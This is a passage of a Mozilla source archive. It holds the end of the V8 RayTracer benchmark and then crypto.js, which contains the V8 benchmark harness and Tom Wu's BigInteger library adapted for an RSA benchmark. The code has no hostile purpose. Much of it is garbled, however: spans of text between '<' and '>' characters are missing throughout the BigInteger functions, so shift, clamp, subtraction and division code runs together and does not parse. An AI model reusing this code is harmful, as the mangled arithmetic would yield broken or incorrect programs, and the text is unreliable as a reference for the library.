Flog.RayTracer.Vector.prototype.subtract( E, Lv ).normalize(); var glossWeight = Math.pow(Math.max(info.normal.dot(H), 0), shininess); color = Flog.RayTracer.Color.prototype.add( Flog.RayTracer.Color.prototype.multiplyScalar(light.color, glossWeight), color ); } } color.limit(); return color; } }; function renderScene(){ var scene = new Flog.RayTracer.Scene(); scene.camera = new Flog.RayTracer.Camera( new Flog.RayTracer.Vector(0, 0, -15), new Flog.RayTracer.Vector(-0.2, 0, 5), new Flog.RayTracer.Vector(0, 1, 0) ); scene.background = new Flog.RayTracer.Background( new Flog.RayTracer.Color(0.5, 0.5, 0.5), 0.4 ); var sphere = new Flog.RayTracer.Shape.Sphere( new Flog.RayTracer.Vector(-1.5, 1.5, 2), 1.5, new Flog.RayTracer.Material.Solid( new Flog.RayTracer.Color(0,0.5,0.5), 0.3, 0.0, 0.0, 2.0 ) ); var sphere1 = new Flog.RayTracer.Shape.Sphere( new Flog.RayTracer.Vector(1, 0.25, 1), 0.5, new Flog.RayTracer.Material.Solid( new Flog.RayTracer.Color(0.9,0.9,0.9), 0.1, 0.0, 0.0, 1.5 ) ); var plane = new Flog.RayTracer.Shape.Plane( new Flog.RayTracer.Vector(0.1, 0.9, -0.5).normalize(), 1.2, new Flog.RayTracer.Material.Chessboard( new Flog.RayTracer.Color(1,1,1), new Flog.RayTracer.Color(0,0,0), 0.2, 0.0, 1.0, 0.7 ) ); scene.shapes.push(plane); scene.shapes.push(sphere); scene.shapes.push(sphere1); var light = new Flog.RayTracer.Light( new Flog.RayTracer.Vector(5, 10, -1), new Flog.RayTracer.Color(0.8, 0.8, 0.8) ); var light1 = new Flog.RayTracer.Light( new Flog.RayTracer.Vector(-3, 5, -15), new Flog.RayTracer.Color(0.8, 0.8, 0.8), 100 ); scene.lights.push(light); scene.lights.push(light1); var imageWidth = 100; // $F('imageWidth'); var imageHeight = 100; // $F('imageHeight'); var pixelSize = "5,5".split(','); // $F('pixelSize').split(','); var renderDiffuse = true; // $F('renderDiffuse'); var renderShadows = true; // $F('renderShadows'); var renderHighlights = true; // $F('renderHighlights'); var renderReflections = true; // $F('renderReflections'); var rayDepth = 2;//$F('rayDepth'); var raytracer = new Flog.RayTracer.Engine( { canvasWidth: imageWidth, canvasHeight: imageHeight, pixelWidth: pixelSize[0], pixelHeight: pixelSize[1], "renderDiffuse": renderDiffuse, "renderHighlights": renderHighlights, "renderShadows": renderShadows, "renderReflections": renderReflections, "rayDepth": rayDepth } ); raytracer.renderScene(scene, null, 0); } mozjs17.0.0/js/src/metrics/jint/v8/crypto.js0000664000175000017500000016426012106270663020642 0ustar sstanglsstangl// Copyright 2008 the V8 project authors. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // Simple framework for running the benchmark suites and // computing a score based on the timing measurements. // A benchmark has a name (string) and a function that will be run to // do the performance measurement. The optional setup and tearDown // arguments are functions that will be invoked before and after // running the benchmark, but the running time of these functions will // not be accounted for in the benchmark score. function Benchmark(name, run, setup, tearDown) { this.name = name; this.run = run; this.Setup = setup ? setup : function() { }; this.TearDown = tearDown ? tearDown : function() { }; } // Benchmark results hold the benchmark and the measured time used to // run the benchmark. The benchmark score is computed later once a // full benchmark suite has run to completion. function BenchmarkResult(benchmark, time) { this.benchmark = benchmark; this.time = time; } // Automatically convert results to numbers. Used by the geometric // mean computation. BenchmarkResult.prototype.valueOf = function() { return this.time; } // Suites of benchmarks consist of a name and the set of benchmarks in // addition to the reference timing that the final score will be based // on. This way, all scores are relative to a reference run and higher // scores implies better performance. function BenchmarkSuite(name, reference, benchmarks) { this.name = name; this.reference = reference; this.benchmarks = benchmarks; BenchmarkSuite.suites.push(this); } // Keep track of all declared benchmark suites. BenchmarkSuite.suites = []; // Scores are not comparable across versions. Bump the version if // you're making changes that will affect that scores, e.g. if you add // a new benchmark or change an existing one. BenchmarkSuite.version = '5'; // To make the benchmark results predictable, we replace Math.random // with a 100% deterministic alternative. Math.random = (function() { var seed = 49734321; return function() { // Robert Jenkins' 32 bit integer hash function. seed = ((seed + 0x7ed55d16) + (seed << 12)) & 0xffffffff; seed = ((seed ^ 0xc761c23c) ^ (seed >>> 19)) & 0xffffffff; seed = ((seed + 0x165667b1) + (seed << 5)) & 0xffffffff; seed = ((seed + 0xd3a2646c) ^ (seed << 9)) & 0xffffffff; seed = ((seed + 0xfd7046c5) + (seed << 3)) & 0xffffffff; seed = ((seed ^ 0xb55a4f09) ^ (seed >>> 16)) & 0xffffffff; return (seed & 0xfffffff) / 0x10000000; }; })(); // Runs all registered benchmark suites and optionally yields between // each individual benchmark to avoid running for too long in the // context of browsers. Once done, the final score is reported to the // runner. BenchmarkSuite.RunSuites = function(runner) { var continuation = null; var suites = BenchmarkSuite.suites; var length = suites.length; BenchmarkSuite.scores = []; var index = 0; function RunStep() { while (continuation || index < length) { if (continuation) { continuation = continuation(); } else { var suite = suites[index++]; if (runner.NotifyStart) runner.NotifyStart(suite.name); continuation = suite.RunStep(runner); } if (continuation && typeof window != 'undefined' && window.setTimeout) { window.setTimeout(RunStep, 25); return; } } if (runner.NotifyScore) { var score = BenchmarkSuite.GeometricMean(BenchmarkSuite.scores); var formatted = BenchmarkSuite.FormatScore(100 * score); runner.NotifyScore(formatted); } } RunStep(); } // Counts the total number of registered benchmarks. Useful for // showing progress as a percentage. BenchmarkSuite.CountBenchmarks = function() { var result = 0; var suites = BenchmarkSuite.suites; for (var i = 0; i < suites.length; i++) { result += suites[i].benchmarks.length; } return result; } // Computes the geometric mean of a set of numbers. BenchmarkSuite.GeometricMean = function(numbers) { var log = 0; for (var i = 0; i < numbers.length; i++) { log += Math.log(numbers[i]); } return Math.pow(Math.E, log / numbers.length); } // Converts a score value to a string with at least three significant // digits. BenchmarkSuite.FormatScore = function(value) { if (value > 100) { return value.toFixed(0); } else { return value.toPrecision(3); } } // Notifies the runner that we're done running a single benchmark in // the benchmark suite. This can be useful to report progress. BenchmarkSuite.prototype.NotifyStep = function(result) { this.results.push(result); if (this.runner.NotifyStep) this.runner.NotifyStep(result.benchmark.name); } // Notifies the runner that we're done with running a suite and that // we have a result which can be reported to the user if needed. BenchmarkSuite.prototype.NotifyResult = function() { var mean = BenchmarkSuite.GeometricMean(this.results); var score = this.reference / mean; BenchmarkSuite.scores.push(score); if (this.runner.NotifyResult) { var formatted = BenchmarkSuite.FormatScore(100 * score); this.runner.NotifyResult(this.name, formatted); } } // Notifies the runner that running a benchmark resulted in an error. BenchmarkSuite.prototype.NotifyError = function(error) { if (this.runner.NotifyError) { this.runner.NotifyError(this.name, error); } if (this.runner.NotifyStep) { this.runner.NotifyStep(this.name); } } // Runs a single benchmark for at least a second and computes the // average time it takes to run a single iteration. BenchmarkSuite.prototype.RunSingleBenchmark = function(benchmark) { var elapsed = 0; var start = new Date(); for (var n = 0; elapsed < 20; n++) { benchmark.run(); elapsed = new Date() - start; } var usec = (elapsed * 1000) / n; this.NotifyStep(new BenchmarkResult(benchmark, usec)); } // This function starts running a suite, but stops between each // individual benchmark in the suite and returns a continuation // function which can be invoked to run the next benchmark. Once the // last benchmark has been executed, null is returned. BenchmarkSuite.prototype.RunStep = function(runner) { this.results = []; this.runner = runner; var length = this.benchmarks.length; var index = 0; var suite = this; // Run the setup, the actual benchmark, and the tear down in three // separate steps to allow the framework to yield between any of the // steps. function RunNextSetup() { if (index < length) { try { suite.benchmarks[index].Setup(); } catch (e) { suite.NotifyError(e); return null; } return RunNextBenchmark; } suite.NotifyResult(); return null; } function RunNextBenchmark() { try { suite.RunSingleBenchmark(suite.benchmarks[index]); } catch (e) { suite.NotifyError(e); return null; } return RunNextTearDown; } function RunNextTearDown() { try { suite.benchmarks[index++].TearDown(); } catch (e) { suite.NotifyError(e); return null; } return RunNextSetup; } // Start out running the setup. return RunNextSetup(); } /* * Copyright (c) 2003-2005 Tom Wu * All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL TOM WU BE LIABLE FOR ANY SPECIAL, INCIDENTAL, * INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER * RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER OR NOT ADVISED OF * THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF LIABILITY, ARISING OUT * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. * * In addition, the following condition applies: * * All redistributions must retain an intact copy of this copyright notice * and disclaimer. */ // The code has been adapted for use as a benchmark by Google. var Crypto = new BenchmarkSuite('Crypto', 203037, [ new Benchmark("Encrypt", encrypt), new Benchmark("Decrypt", decrypt) ]); // Basic JavaScript BN library - subset useful for RSA encryption. // Bits per digit var dbits; var BI_DB; var BI_DM; var BI_DV; var BI_FP; var BI_FV; var BI_F1; var BI_F2; // JavaScript engine analysis var canary = 0xdeadbeefcafe; var j_lm = ((canary&0xffffff)==0xefcafe); // (public) Constructor function BigInteger(a,b,c) { this.array = new Array(); if(a != null) if("number" == typeof a) this.fromNumber(a,b,c); else if(b == null && "string" != typeof a) this.fromString(a,256); else this.fromString(a,b); } // return new, unset BigInteger function nbi() { return new BigInteger(null); } // am: Compute w_j += (x*this_i), propagate carries, // c is initial carry, returns final carry. // c < 3*dvalue, x < 2*dvalue, this_i < dvalue // We need to select the fastest one that works in this environment. // am1: use a single mult and divide to get the high bits, // max digit bits should be 26 because // max internal value = 2*dvalue^2-2*dvalue (< 2^53) function am1(i,x,w,j,c,n) { var this_array = this.array; var w_array = w.array; /* BEGIN LOOP */ while(--n >= 0) { var v = x*this_array[i++]+w_array[j]+c; c = Math.floor(v/0x4000000); w_array[j++] = v&0x3ffffff; } /* END LOOP */ return c; } // am2 avoids a big mult-and-extract completely. // Max digit bits should be <= 30 because we do bitwise ops // on values up to 2*hdvalue^2-hdvalue-1 (< 2^31) function am2(i,x,w,j,c,n) { var this_array = this.array; var w_array = w.array; var xl = x&0x7fff, xh = x>>15; /* BEGIN LOOP */ while(--n >= 0) { var l = this_array[i]&0x7fff; var h = this_array[i++]>>15; var m = xh*l+h*xl; l = xl*l+((m&0x7fff)<<15)+w_array[j]+(c&0x3fffffff); c = (l>>>30)+(m>>>15)+xh*h+(c>>>30); w_array[j++] = l&0x3fffffff; } /* END LOOP */ return c; } // Alternately, set max digit bits to 28 since some // browsers slow down when dealing with 32-bit numbers. function am3(i,x,w,j,c,n) { var this_array = this.array; var w_array = w.array; var xl = x&0x3fff, xh = x>>14; /* BEGIN LOOP */ while(--n >= 0) { var l = this_array[i]&0x3fff; var h = this_array[i++]>>14; var m = xh*l+h*xl; l = xl*l+((m&0x3fff)<<14)+w_array[j]+c; c = (l>>28)+(m>>14)+xh*h; w_array[j++] = l&0xfffffff; } /* END LOOP */ return c; } // This is tailored to VMs with 2-bit tagging. It makes sure // that all the computations stay within the 29 bits available. function am4(i,x,w,j,c,n) { var this_array = this.array; var w_array = w.array; var xl = x&0x1fff, xh = x>>13; /* BEGIN LOOP */ while(--n >= 0) { var l = this_array[i]&0x1fff; var h = this_array[i++]>>13; var m = xh*l+h*xl; l = xl*l+((m&0x1fff)<<13)+w_array[j]+c; c = (l>>26)+(m>>13)+xh*h; w_array[j++] = l&0x3ffffff; } /* END LOOP */ return c; } // am3/28 is best for SM, Rhino, but am4/26 is best for v8. // Kestrel (Opera 9.5) gets its best result with am4/26. // IE7 does 9% better with am3/28 than with am4/26. // Firefox (SM) gets 10% faster with am3/28 than with am4/26. setupEngine = function(fn, bits) { BigInteger.prototype.am = fn; dbits = bits; BI_DB = dbits; BI_DM = ((1<= 0; --i) r_array[i] = this_array[i]; /* END LOOP */ r.t = this.t; r.s = this.s; } // (protected) set from integer value x, -DV <= x < DV function bnpFromInt(x) { var this_array = this.array; this.t = 1; this.s = (x<0)?-1:0; if(x > 0) this_array[0] = x; else if(x < -1) this_array[0] = x+DV; else this.t = 0; } // return bigint initialized to value function nbv(i) { var r = nbi(); r.fromInt(i); return r; } // (protected) set from string and radix function bnpFromString(s,b) { var this_array = this.array; var k; if(b == 16) k = 4; else if(b == 8) k = 3; else if(b == 256) k = 8; // byte array else if(b == 2) k = 1; else if(b == 32) k = 5; else if(b == 4) k = 2; else { this.fromRadix(s,b); return; } this.t = 0; this.s = 0; var i = s.length, mi = false, sh = 0; /* BEGIN LOOP */ while(--i >= 0) { var x = (k==8)?s[i]&0xff:intAt(s,i); if(x < 0) { if(s.charAt(i) == "-") mi = true; continue; } mi = false; if(sh == 0) this_array[this.t++] = x; else if(sh+k > BI_DB) { this_array[this.t-1] |= (x&((1<<(BI_DB-sh))-1))<>(BI_DB-sh)); } else this_array[this.t-1] |= x<= BI_DB) sh -= BI_DB; } /* END LOOP */ if(k == 8 && (s[0]&0x80) != 0) { this.s = -1; if(sh > 0) this_array[this.t-1] |= ((1<<(BI_DB-sh))-1)< 0 && this_array[this.t-1] == c) --this.t; /* END LOOP */ } // (public) return string representation in given radix function bnToString(b) { var this_array = this.array; if(this.s < 0) return "-"+this.negate().toString(b); var k; if(b == 16) k = 4; else if(b == 8) k = 3; else if(b == 2) k = 1; else if(b == 32) k = 5; else if(b == 4) k = 2; else return this.toRadix(b); var km = (1< 0) { if(p < BI_DB && (d = this_array[i]>>p) > 0) { m = true; r = int2char(d); } /* BEGIN LOOP */ while(i >= 0) { if(p < k) { d = (this_array[i]&((1<>(p+=BI_DB-k); } else { d = (this_array[i]>>(p-=k))&km; if(p <= 0) { p += BI_DB; --i; } } if(d > 0) m = true; if(m) r += int2char(d); } /* END LOOP */ } return m?r:"0"; } // (public) -this function bnNegate() { var r = nbi(); BigInteger.ZERO.subTo(this,r); return r; } // (public) |this| function bnAbs() { return (this.s<0)?this.negate():this; } // (public) return + if this > a, - if this < a, 0 if equal function bnCompareTo(a) { var this_array = this.array; var a_array = a.array; var r = this.s-a.s; if(r != 0) return r; var i = this.t; r = i-a.t; if(r != 0) return r; /* BEGIN LOOP */ while(--i >= 0) if((r=this_array[i]-a_array[i]) != 0) return r; /* END LOOP */ return 0; } // returns bit length of the integer x function nbits(x) { var r = 1, t; if((t=x>>>16) != 0) { x = t; r += 16; } if((t=x>>8) != 0) { x = t; r += 8; } if((t=x>>4) != 0) { x = t; r += 4; } if((t=x>>2) != 0) { x = t; r += 2; } if((t=x>>1) != 0) { x = t; r += 1; } return r; } // (public) return the number of bits in "this" function bnBitLength() { var this_array = this.array; if(this.t <= 0) return 0; return BI_DB*(this.t-1)+nbits(this_array[this.t-1]^(this.s&BI_DM)); } // (protected) r = this << n*DB function bnpDLShiftTo(n,r) { var this_array = this.array; var r_array = r.array; var i; /* BEGIN LOOP */ for(i = this.t-1; i >= 0; --i) r_array[i+n] = this_array[i]; /* END LOOP */ /* BEGIN LOOP */ for(i = n-1; i >= 0; --i) r_array[i] = 0; /* END LOOP */ r.t = this.t+n; r.s = this.s; } // (protected) r = this >> n*DB function bnpDRShiftTo(n,r) { var this_array = this.array; var r_array = r.array; /* BEGIN LOOP */ for(var i = n; i < this.t; ++i) r_array[i-n] = this_array[i]; /* END LOOP */ r.t = Math.max(this.t-n,0); r.s = this.s; } // (protected) r = this << n function bnpLShiftTo(n,r) { var this_array = this.array; var r_array = r.array; var bs = n%BI_DB; var cbs = BI_DB-bs; var bm = (1<= 0; --i) { r_array[i+ds+1] = (this_array[i]>>cbs)|c; c = (this_array[i]&bm)<= 0; --i) r_array[i] = 0; /* END LOOP */ r_array[ds] = c; r.t = this.t+ds+1; r.s = this.s; r.clamp(); } // (protected) r = this >> n function bnpRShiftTo(n,r) { var this_array = this.array; var r_array = r.array; r.s = this.s; var ds = Math.floor(n/BI_DB); if(ds >= this.t) { r.t = 0; return; } var bs = n%BI_DB; var cbs = BI_DB-bs; var bm = (1<>bs; /* BEGIN LOOP */ for(var i = ds+1; i < this.t; ++i) { r_array[i-ds-1] |= (this_array[i]&bm)<>bs; } /* END LOOP */ if(bs > 0) r_array[this.t-ds-1] |= (this.s&bm)<>= BI_DB; } /* END LOOP */ if(a.t < this.t) { c -= a.s; /* BEGIN LOOP */ while(i < this.t) { c += this_array[i]; r_array[i++] = c&BI_DM; c >>= BI_DB; } /* END LOOP */ c += this.s; } else { c += this.s; /* BEGIN LOOP */ while(i < a.t) { c -= a_array[i]; r_array[i++] = c&BI_DM; c >>= BI_DB; } /* END LOOP */ c -= a.s; } r.s = (c<0)?-1:0; if(c < -1) r_array[i++] = BI_DV+c; else if(c > 0) r_array[i++] = c; r.t = i; r.clamp(); } // (protected) r = this * a, r != this,a (HAC 14.12) // "this" should be the larger one if appropriate. function bnpMultiplyTo(a,r) { var this_array = this.array; var r_array = r.array; var x = this.abs(), y = a.abs(); var y_array = y.array; var i = x.t; r.t = i+y.t; /* BEGIN LOOP */ while(--i >= 0) r_array[i] = 0; /* END LOOP */ /* BEGIN LOOP */ for(i = 0; i < y.t; ++i) r_array[i+x.t] = x.am(0,y_array[i],r,i,0,x.t); r.s = 0; r.clamp(); if(this.s != a.s) BigInteger.ZERO.subTo(r,r); } // (protected) r = this^2, r != this (HAC 14.16) function bnpSquareTo(r) { var x = this.abs(); var x_array = x.array; var r_array = r.array; var i = r.t = 2*x.t; /* BEGIN LOOP */ while(--i >= 0) r_array[i] = 0; /* END LOOP */ /* BEGIN LOOP */ for(i = 0; i < x.t-1; ++i) { var c = x.am(i,x_array[i],r,2*i,0,1); if((r_array[i+x.t]+=x.am(i+1,2*x_array[i],r,2*i+1,c,x.t-i-1)) >= BI_DV) { r_array[i+x.t] -= BI_DV; r_array[i+x.t+1] = 1; } } /* END LOOP */ if(r.t > 0) r_array[r.t-1] += x.am(i,x_array[i],r,2*i,0,1); r.s = 0; r.clamp(); } // (protected) divide this by m, quotient and remainder to q, r (HAC 14.20) // r != q, this != m. q or r may be null. function bnpDivRemTo(m,q,r) { var pm = m.abs(); if(pm.t <= 0) return; var pt = this.abs(); if(pt.t < pm.t) { if(q != null) q.fromInt(0); if(r != null) this.copyTo(r); return; } if(r == null) r = nbi(); var y = nbi(), ts = this.s, ms = m.s; var pm_array = pm.array; var nsh = BI_DB-nbits(pm_array[pm.t-1]); // normalize modulus if(nsh > 0) { pm.lShiftTo(nsh,y); pt.lShiftTo(nsh,r); } else { pm.copyTo(y); pt.copyTo(r); } var ys = y.t; var y_array = y.array; var y0 = y_array[ys-1]; if(y0 == 0) return; var yt = y0*(1<1)?y_array[ys-2]>>BI_F2:0); var d1 = BI_FV/yt, d2 = (1<= 0) { r_array[r.t++] = 1; r.subTo(t,r); } BigInteger.ONE.dlShiftTo(ys,t); t.subTo(y,y); // "negative" y so we can replace sub with am later /* BEGIN LOOP */ while(y.t < ys) y_array[y.t++] = 0; /* END LOOP */ /* BEGIN LOOP */ while(--j >= 0) { // Estimate quotient digit var qd = (r_array[--i]==y0)?BI_DM:Math.floor(r_array[i]*d1+(r_array[i-1]+e)*d2); if((r_array[i]+=y.am(0,qd,r,j,0,ys)) < qd) { // Try it out y.dlShiftTo(j,t); r.subTo(t,r); /* BEGIN LOOP */ while(r_array[i] < --qd) r.subTo(t,r); /* END LOOP */ } } /* END LOOP */ if(q != null) { r.drShiftTo(ys,q); if(ts != ms) BigInteger.ZERO.subTo(q,q); } r.t = ys; r.clamp(); if(nsh > 0) r.rShiftTo(nsh,r); // Denormalize remainder if(ts < 0) BigInteger.ZERO.subTo(r,r); } // (public) this mod a function bnMod(a) { var r = nbi(); this.abs().divRemTo(a,null,r); if(this.s < 0 && r.compareTo(BigInteger.ZERO) > 0) a.subTo(r,r); return r; } // Modular reduction using "classic" algorithm function Classic(m) { this.m = m; } function cConvert(x) { if(x.s < 0 || x.compareTo(this.m) >= 0) return x.mod(this.m); else return x; } function cRevert(x) { return x; } function cReduce(x) { x.divRemTo(this.m,null,x); } function cMulTo(x,y,r) { x.multiplyTo(y,r); this.reduce(r); } function cSqrTo(x,r) { x.squareTo(r); this.reduce(r); } Classic.prototype.convert = cConvert; Classic.prototype.revert = cRevert; Classic.prototype.reduce = cReduce; Classic.prototype.mulTo = cMulTo; Classic.prototype.sqrTo = cSqrTo; // (protected) return "-1/this % 2^DB"; useful for Mont. reduction // justification: // xy == 1 (mod m) // xy = 1+km // xy(2-xy) = (1+km)(1-km) // x[y(2-xy)] = 1-k^2m^2 // x[y(2-xy)] == 1 (mod m^2) // if y is 1/x mod m, then y(2-xy) is 1/x mod m^2 // should reduce x and y(2-xy) by m^2 at each step to keep size bounded. // JS multiply "overflows" differently from C/C++, so care is needed here. function bnpInvDigit() { var this_array = this.array; if(this.t < 1) return 0; var x = this_array[0]; if((x&1) == 0) return 0; var y = x&3; // y == 1/x mod 2^2 y = (y*(2-(x&0xf)*y))&0xf; // y == 1/x mod 2^4 y = (y*(2-(x&0xff)*y))&0xff; // y == 1/x mod 2^8 y = (y*(2-(((x&0xffff)*y)&0xffff)))&0xffff; // y == 1/x mod 2^16 // last step - calculate inverse mod DV directly; // assumes 16 < DB <= 32 and assumes ability to handle 48-bit ints y = (y*(2-x*y%BI_DV))%BI_DV; // y == 1/x mod 2^dbits // we really want the negative inverse, and -DV < y < DV return (y>0)?BI_DV-y:-y; } // Montgomery reduction function Montgomery(m) { this.m = m; this.mp = m.invDigit(); this.mpl = this.mp&0x7fff; this.mph = this.mp>>15; this.um = (1<<(BI_DB-15))-1; this.mt2 = 2*m.t; } // xR mod m function montConvert(x) { var r = nbi(); x.abs().dlShiftTo(this.m.t,r); r.divRemTo(this.m,null,r); if(x.s < 0 && r.compareTo(BigInteger.ZERO) > 0) this.m.subTo(r,r); return r; } // x/R mod m function montRevert(x) { var r = nbi(); x.copyTo(r); this.reduce(r); return r; } // x = x/R mod m (HAC 14.32) function montReduce(x) { var x_array = x.array; /* BEGIN LOOP */ while(x.t <= this.mt2) // pad x so am has enough room later x_array[x.t++] = 0; /* END LOOP */ /* BEGIN LOOP */ for(var i = 0; i < this.m.t; ++i) { // faster way of calculating u0 = x[i]*mp mod DV var j = x_array[i]&0x7fff; var u0 = (j*this.mpl+(((j*this.mph+(x_array[i]>>15)*this.mpl)&this.um)<<15))&BI_DM; // use am to combine the multiply-shift-add into one call j = i+this.m.t; x_array[j] += this.m.am(0,u0,x,i,0,this.m.t); // propagate carry /* BEGIN LOOP */ while(x_array[j] >= BI_DV) { x_array[j] -= BI_DV; x_array[++j]++; } /* BEGIN LOOP */ } /* END LOOP */ x.clamp(); x.drShiftTo(this.m.t,x); if(x.compareTo(this.m) >= 0) x.subTo(this.m,x); } // r = "x^2/R mod m"; x != r function montSqrTo(x,r) { x.squareTo(r); this.reduce(r); } // r = "xy/R mod m"; x,y != r function montMulTo(x,y,r) { x.multiplyTo(y,r); this.reduce(r); } Montgomery.prototype.convert = montConvert; Montgomery.prototype.revert = montRevert; Montgomery.prototype.reduce = montReduce; Montgomery.prototype.mulTo = montMulTo; Montgomery.prototype.sqrTo = montSqrTo; // (protected) true iff this is even function bnpIsEven() { var this_array = this.array; return ((this.t>0)?(this_array[0]&1):this.s) == 0; } // (protected) this^e, e < 2^32, doing sqr and mul with "r" (HAC 14.79) function bnpExp(e,z) { if(e > 0xffffffff || e < 1) return BigInteger.ONE; var r = nbi(), r2 = nbi(), g = z.convert(this), i = nbits(e)-1; g.copyTo(r); /* BEGIN LOOP */ while(--i >= 0) { z.sqrTo(r,r2); if((e&(1< 0) z.mulTo(r2,g,r); else { var t = r; r = r2; r2 = t; } } /* END LOOP */ return z.revert(r); } // (public) this^e % m, 0 <= e < 2^32 function bnModPowInt(e,m) { var z; if(e < 256 || m.isEven()) z = new Classic(m); else z = new Montgomery(m); return this.exp(e,z); } // protected BigInteger.prototype.copyTo = bnpCopyTo; BigInteger.prototype.fromInt = bnpFromInt; BigInteger.prototype.fromString = bnpFromString; BigInteger.prototype.clamp = bnpClamp; BigInteger.prototype.dlShiftTo = bnpDLShiftTo; BigInteger.prototype.drShiftTo = bnpDRShiftTo; BigInteger.prototype.lShiftTo = bnpLShiftTo; BigInteger.prototype.rShiftTo = bnpRShiftTo; BigInteger.prototype.subTo = bnpSubTo; BigInteger.prototype.multiplyTo = bnpMultiplyTo; BigInteger.prototype.squareTo = bnpSquareTo; BigInteger.prototype.divRemTo = bnpDivRemTo; BigInteger.prototype.invDigit = bnpInvDigit; BigInteger.prototype.isEven = bnpIsEven; BigInteger.prototype.exp = bnpExp; // public BigInteger.prototype.toString = bnToString; BigInteger.prototype.negate = bnNegate; BigInteger.prototype.abs = bnAbs; BigInteger.prototype.compareTo = bnCompareTo; BigInteger.prototype.bitLength = bnBitLength; BigInteger.prototype.mod = bnMod; BigInteger.prototype.modPowInt = bnModPowInt; // "constants" BigInteger.ZERO = nbv(0); BigInteger.ONE = nbv(1); // Copyright (c) 2005 Tom Wu // All Rights Reserved. // See "LICENSE" for details. // Extended JavaScript BN functions, required for RSA private ops. // (public) function bnClone() { var r = nbi(); this.copyTo(r); return r; } // (public) return value as integer function bnIntValue() { var this_array = this.array; if(this.s < 0) { if(this.t == 1) return this_array[0]-BI_DV; else if(this.t == 0) return -1; } else if(this.t == 1) return this_array[0]; else if(this.t == 0) return 0; // assumes 16 < DB < 32 return ((this_array[1]&((1<<(32-BI_DB))-1))<>24; } // (public) return value as short (assumes DB>=16) function bnShortValue() { var this_array = this.array; return (this.t==0)?this.s:(this_array[0]<<16)>>16; } // (protected) return x s.t. r^x < DV function bnpChunkSize(r) { return Math.floor(Math.LN2*BI_DB/Math.log(r)); } // (public) 0 if this == 0, 1 if this > 0 function bnSigNum() { var this_array = this.array; if(this.s < 0) return -1; else if(this.t <= 0 || (this.t == 1 && this_array[0] <= 0)) return 0; else return 1; } // (protected) convert to radix string function bnpToRadix(b) { if(b == null) b = 10; if(this.signum() == 0 || b < 2 || b > 36) return "0"; var cs = this.chunkSize(b); var a = Math.pow(b,cs); var d = nbv(a), y = nbi(), z = nbi(), r = ""; this.divRemTo(d,y,z); /* BEGIN LOOP */ while(y.signum() > 0) { r = (a+z.intValue()).toString(b).substr(1) + r; y.divRemTo(d,y,z); } /* END LOOP */ return z.intValue().toString(b) + r; } // (protected) convert from radix string function bnpFromRadix(s,b) { this.fromInt(0); if(b == null) b = 10; var cs = this.chunkSize(b); var d = Math.pow(b,cs), mi = false, j = 0, w = 0; /* BEGIN LOOP */ for(var i = 0; i < s.length; ++i) { var x = intAt(s,i); if(x < 0) { if(s.charAt(i) == "-" && this.signum() == 0) mi = true; continue; } w = b*w+x; if(++j >= cs) { this.dMultiply(d); this.dAddOffset(w,0); j = 0; w = 0; } } /* END LOOP */ if(j > 0) { this.dMultiply(Math.pow(b,j)); this.dAddOffset(w,0); } if(mi) BigInteger.ZERO.subTo(this,this); } // (protected) alternate constructor function bnpFromNumber(a,b,c) { if("number" == typeof b) { // new BigInteger(int,int,RNG) if(a < 2) this.fromInt(1); else { this.fromNumber(a,c); if(!this.testBit(a-1)) // force MSB set this.bitwiseTo(BigInteger.ONE.shiftLeft(a-1),op_or,this); if(this.isEven()) this.dAddOffset(1,0); // force odd /* BEGIN LOOP */ while(!this.isProbablePrime(b)) { this.dAddOffset(2,0); if(this.bitLength() > a) this.subTo(BigInteger.ONE.shiftLeft(a-1),this); } /* END LOOP */ } } else { // new BigInteger(int,RNG) var x = new Array(), t = a&7; x.length = (a>>3)+1; b.nextBytes(x); if(t > 0) x[0] &= ((1< 0) { if(p < BI_DB && (d = this_array[i]>>p) != (this.s&BI_DM)>>p) r[k++] = d|(this.s<<(BI_DB-p)); /* BEGIN LOOP */ while(i >= 0) { if(p < 8) { d = (this_array[i]&((1<>(p+=BI_DB-8); } else { d = (this_array[i]>>(p-=8))&0xff; if(p <= 0) { p += BI_DB; --i; } } if((d&0x80) != 0) d |= -256; if(k == 0 && (this.s&0x80) != (d&0x80)) ++k; if(k > 0 || d != this.s) r[k++] = d; } /* END LOOP */ } 